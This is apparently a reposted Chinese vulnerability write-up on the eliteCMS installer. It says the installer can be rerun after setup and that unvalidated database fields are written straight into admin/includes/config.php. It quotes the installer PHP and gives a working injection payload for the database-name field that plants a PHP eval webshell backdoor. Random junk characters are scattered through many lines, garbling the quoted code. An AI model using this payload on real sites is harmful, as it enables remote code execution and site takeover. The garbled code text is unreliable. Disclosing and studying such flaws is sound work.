eliteCMS安装文件未验证 + 一句话写入安全漏洞

admin

eliteCMS的安装程序安装结束后未作锁定，导致黑客可以通过访问安装程序地址进行重复安装
! \% j$ o: C9 ?' B2 M/ ]4 A, e8 u
另外一个漏洞是安装程序可以直接写入一句话到admin/includes/config.php
我们来看代码：
0 {" b: [( ]% {
...
elseif ($_GET['step'] == "4") {
2 a% S, i5 t! o3 ^' r5 D    $file = "../admin/includes/config.php";
    $write = "<?php\n";
    $write .= "/**\n";
  L" X$ F/ b* }+ Z    $write .= "*\n";
    $write .= "*eliteCMS-The LightweightCMS Copyright 2008 elite-graphix.net.\n";
...略...
" o! u& n* W6 h! j* P2 f4 X' e    $write .= "*\n";
    $write .= "*/\n";
    $write .= "\n";
. `2 L, j# U- m& \7 }7 `    $write .= "define(\"DB_SERVER\", \"{$_SESSION['DB_SERVER']}\");\n";
4 L* ~* d5 o5 ]- R: e$ |    $write .= "define(\"DB_NAME\", \"{$_SESSION['DB_NAME']}\");\n";
    $write .= "define(\"DB_USER\", \"{$_SESSION['DB_USER']}\");\n";
    $write .= "define(\"DB_PASS\", \"{$_SESSION['DB_PASS']}\");\n";
    $write .= "\$connection = mysql_connect(DB_SERVER, DB_USER, DB_PASS);\n";
2 P9 Z8 V; V; X- J" H    $write .= "if (!\$connection) {\n";
    $write .= "        die(\"Database connection failed\" .mysql_error());\n";
$ l3 N3 z2 Q9 g% M6 b) G3 g7 h    $write .= "        \n";
: _3 P3 ~4 Z% O5 g: {    $write .= "} \n";
    $write .= "\$db_select = mysql_select_db(DB_NAME, \$connection);\n";
    $write .= "if (!\$db_select) {\n";
  O3 T/ i' L4 n: a& Q1 t5 K    $write .= "        die(\"Database select failed\" .mysql_error());\n";
! e9 b1 E) O2 Z% R( d8 `8 T    $write .= "        \n";
    $write .= "} \n";
4 z; G. _0 v  g0 r8 @    $write .= "?>\n";

2 ]9 h' M) P5 @7 C% @    $writer = fopen($file, 'w');
. P3 Z( ^" m" w% Y8 d$ o4 k...

9 @, m6 p) c4 X6 F& o2 t在看代码：
% l8 @/ O5 C& f9 ]
' H" ^: D# U% d5 W' H$_SESSION['DB_SERVER'] = $_POST['DB_SERVER'];
$_SESSION['DB_NAME'] = $_POST['DB_NAME'];
$_SESSION['DB_USER'] = $_POST['DB_USER'];
* Z7 i& ^' |1 R' P0 j$_SESSION['DB_PASS'] = $_POST['DB_PASS'];

取值未作任何验证
如果将数据库名POST数据：
7 f+ t0 V7 }/ D- D  L* V
& u" x7 `& F: Y% O; h% s5 m& O"?><?php eval($_POST[c]);?><?php

3 M9 @* @4 L! Q% c$ v* R将导致一句话后门写入/admin/includes/config.php
0 j1 @4 S& m6 P